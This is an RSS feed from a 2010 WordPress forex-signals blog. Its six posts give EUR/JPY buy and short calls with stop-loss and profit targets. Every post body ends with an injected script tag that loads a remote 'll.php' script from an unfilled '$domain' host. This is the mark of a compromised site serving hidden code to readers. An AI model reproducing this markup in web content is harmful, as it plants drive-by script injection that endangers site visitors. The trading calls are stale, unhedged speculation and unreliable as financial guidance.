<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Forex Trading East</title>
	<atom:link href="http://forextradingeast.com/feed" rel="self" type="application/rss+xml" />
	<link>http://forextradingeast.com</link>
	<description>Trading System &#124; Free Signals</description>
	<lastBuildDate>Fri, 22 Oct 2010 23:56:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Stop Loss @ 114.05</title>
		<link>http://forextradingeast.com/uncategorized/stop-loss-114-05</link>
		<comments>http://forextradingeast.com/uncategorized/stop-loss-114-05#comments</comments>
		<pubDate>Fri, 22 Oct 2010 23:56:11 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=64</guid>
		<description><![CDATA[Be sure to protect yourself with a stop loss at 114.05. If this level is breached, too much risk exists as a move to 116.50 could be looming. Proceed trading the EUR/YEN with caution this upcoming week.]]></description>
			<content:encoded><![CDATA[<p>Be sure to protect yourself with a stop loss at 114.05. If this level is breached, too much risk exists as a move to 116.50 could be looming. Proceed trading the EUR/YEN with caution this upcoming week.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/uncategorized/stop-loss-114-05/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stock Market Correction Imminent!</title>
		<link>http://forextradingeast.com/uncategorized/stock-market-correction-imminent</link>
		<comments>http://forextradingeast.com/uncategorized/stock-market-correction-imminent#comments</comments>
		<pubDate>Tue, 12 Oct 2010 03:42:59 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=58</guid>
		<description><![CDATA[// The stock market is due for a correction and this represents and ideal opportunity to short the EUR/YEN. Short With a Break below the yellow line and look to take profits a few weeks from now within the green &#8230; <a href="http://forextradingeast.com/uncategorized/stock-market-correction-imminent">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><script type="text/javascript">// <![CDATA[
     google_ad_client = "pub-0410307463039924"; /* 468x15, created 6/30/10 */ google_ad_slot = "2211833040"; google_ad_width = 468; google_ad_height = 15;
// ]]&gt;</script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script></p>
<p>The stock market is due for a correction and this represents and ideal opportunity to short the EUR/YEN. Short With a Break below the yellow line and look to take profits a few weeks from now within the green lines.</p>
<p><a href="http://forextradingeast.com/wordpress/wp-content/uploads/2010/10/Screen-shot-2010-10-11.png"><img class="aligncenter size-full wp-image-59" title="EUR/YEN 2010-10-11" src="http://forextradingeast.com/wordpress/wp-content/uploads/2010/10/Screen-shot-2010-10-11.png" alt="" width="1234" height="800" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/uncategorized/stock-market-correction-imminent/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Alert</title>
		<link>http://forextradingeast.com/forex-trading-alerts/forex-alert</link>
		<comments>http://forextradingeast.com/forex-trading-alerts/forex-alert#comments</comments>
		<pubDate>Mon, 12 Jul 2010 23:35:42 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Forex Trading Alerts!]]></category>
		<category><![CDATA[June Retail Sales]]></category>
		<category><![CDATA[Retail Sales]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=47</guid>
		<description><![CDATA[Trading blueprint: Eur/yen buying opportunity. Buy between 111.30 &#8211; 111.45 with a tight stop at 111.10. Look to take profits in the 111.92 &#8211; 112.35 range. For those of you willing to hold through extended periods, reversing in the 112.75 &#8230; <a href="http://forextradingeast.com/forex-trading-alerts/forex-alert">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="color: #33cccc;">Trading blueprint:</span> Eur/yen buying opportunity. <span style="color: #000000;">Buy between 111.30 &#8211; 111.45</span> with a tight <span style="color: #ff0000;">stop at 111.10</span>. Look to take profits in the <span style="color: #008000;">111.92 &#8211; 112.35</span> range. For those of you willing to hold through extended periods, reversing in the 112.75 area may be lucrative as risk-aversion should be the dominating trend heading into Wednesday&#8217;s retail sales report. The pair could drop into the mid 109&#8242;s prior to the report.</strong></p>
<p style="text-align: center;"><strong><a href="http://forextradingeast.com/wordpress/wp-content/uploads/2010/07/7-12-10.png"><img class="aligncenter size-full wp-image-48" title="7-12-10" src="http://forextradingeast.com/wordpress/wp-content/uploads/2010/07/7-12-10.png" alt="" width="736" height="366" /></a><br />
</strong></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/forex-trading-alerts/forex-alert/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Trading Alert!</title>
		<link>http://forextradingeast.com/forex-trading-alerts/forex-trading-alert</link>
		<comments>http://forextradingeast.com/forex-trading-alerts/forex-trading-alert#comments</comments>
		<pubDate>Thu, 01 Jul 2010 23:57:35 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Forex Trading Alerts!]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=35</guid>
		<description><![CDATA[Trading Blueprint: Be patient with this trade, the current pattern does not indicate a sell-off at the Asian open therefore one last push higher needs to take place which should bring the pair to the 50% retracement level residing in &#8230; <a href="http://forextradingeast.com/forex-trading-alerts/forex-trading-alert">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="color: #3366ff;">Trading Blueprint:</span> Be patient with this trade, the current pattern does not indicate a sell-off at the Asian open therefore one last push higher needs to take place which should bring the pair to the 50% retracement level residing in the 110.30&#8242;s. <span style="color: #ff0000;">Stop loss at 111.20</span>. <span style="color: #008000;">Take profits between 108.90 &#8211; 109.10.</span></strong></p>
<p style="text-align: center;"><a href="http://forextradingeast.com/wordpress/wp-content/uploads/2010/07/7-1-10.png"><img class="aligncenter size-full wp-image-36" title="7-1-10" src="http://forextradingeast.com/wordpress/wp-content/uploads/2010/07/7-1-10.png" alt="" width="739" height="390" /></a></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/forex-trading-alerts/forex-trading-alert/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Forex Alert! Tuesday 6/29 EUR/YEN Buying Opportunity</title>
		<link>http://forextradingeast.com/forex-trading-alerts/forex-alert-tuesday-629-euryen-buying-opportunity</link>
		<comments>http://forextradingeast.com/forex-trading-alerts/forex-alert-tuesday-629-euryen-buying-opportunity#comments</comments>
		<pubDate>Wed, 30 Jun 2010 22:41:41 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Forex Trading Alerts!]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=9</guid>
		<description><![CDATA[Forex Trading Blueprint: Buy the EUR/YEN in the 107.50′s as this chart needs to establish a double bottom. Look to take profits in the 108.40′s prior to the London open. Stop loss at 107.29. DO NOT CHASE THIS TRADE! Buying &#8230; <a href="http://forextradingeast.com/forex-trading-alerts/forex-alert-tuesday-629-euryen-buying-opportunity">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><span style="color: #3366ff;"><strong>Forex Trading Blueprint:</strong></span> <strong>Buy the EUR/YEN in the 107.50′s as this chart needs to establish a double bottom. <span style="color: #008000;">Look to take profits in the 108.40′s prior to the London open.</span> <span style="color: #ff0000;">Stop loss at 107.29</span>. DO NOT CHASE THIS TRADE! Buying above the 108 level will lead to problems. If the mid 107′s are not seen forget about this trade, tomorrow is another day.</strong></p>
<p style="text-align: center;"><strong><a href="http://forextradingeast.com/wordpress/wp-content/uploads/2010/06/6-29-2010.png"><img class="aligncenter size-full wp-image-11" title="6-29-2010" src="http://forextradingeast.com/wordpress/wp-content/uploads/2010/06/6-29-2010.png" alt="" width="739" height="391" /></a><br />
</strong></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/forex-trading-alerts/forex-alert-tuesday-629-euryen-buying-opportunity/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Live Trading Opportunity For 6/28/2010 – EUR/YEN SHORT!</title>
		<link>http://forextradingeast.com/forex-trading-alerts/live-trading-opportunity</link>
		<comments>http://forextradingeast.com/forex-trading-alerts/live-trading-opportunity#comments</comments>
		<pubDate>Wed, 30 Jun 2010 22:39:16 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Forex Trading Alerts!]]></category>
		<category><![CDATA[Currency Trading]]></category>
		<category><![CDATA[Euro]]></category>
		<category><![CDATA[Forex Alert]]></category>
		<category><![CDATA[Forex Signal]]></category>
		<category><![CDATA[Forex Trading]]></category>
		<category><![CDATA[Yen]]></category>

		<guid isPermaLink="false">http://forextradingeast.com/?p=6</guid>
		<description><![CDATA[Trading Blueprint: Short the EUR/YEN with a break below 109.50, exit the trade prior to London Open at 2:00am est. Could see a drop to 108 in Asian trading hours but there is an outside chance of a meltdown below &#8230; <a href="http://forextradingeast.com/forex-trading-alerts/live-trading-opportunity">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><strong><span style="color: #3366ff;">Trading Blueprint:</span> Short the EUR/YEN with a break below 109.50, exit the trade prior to London Open at 2:00am est. Could see a drop to 108 in Asian trading hours but there is an outside chance of a meltdown below the 108 area and could see the 107.30′s.</strong></strong></p>
<p style="text-align: center;"><strong><strong><a href="http://forextradingeast.com/wordpress/wp-content/uploads/2010/06/6-28-2010.png"><img class="aligncenter size-full wp-image-7" title="6-28-2010" src="http://forextradingeast.com/wordpress/wp-content/uploads/2010/06/6-28-2010.png" alt="" width="740" height="344" /></a><br />
</strong></strong></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://forextradingeast.com/forex-trading-alerts/live-trading-opportunity/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

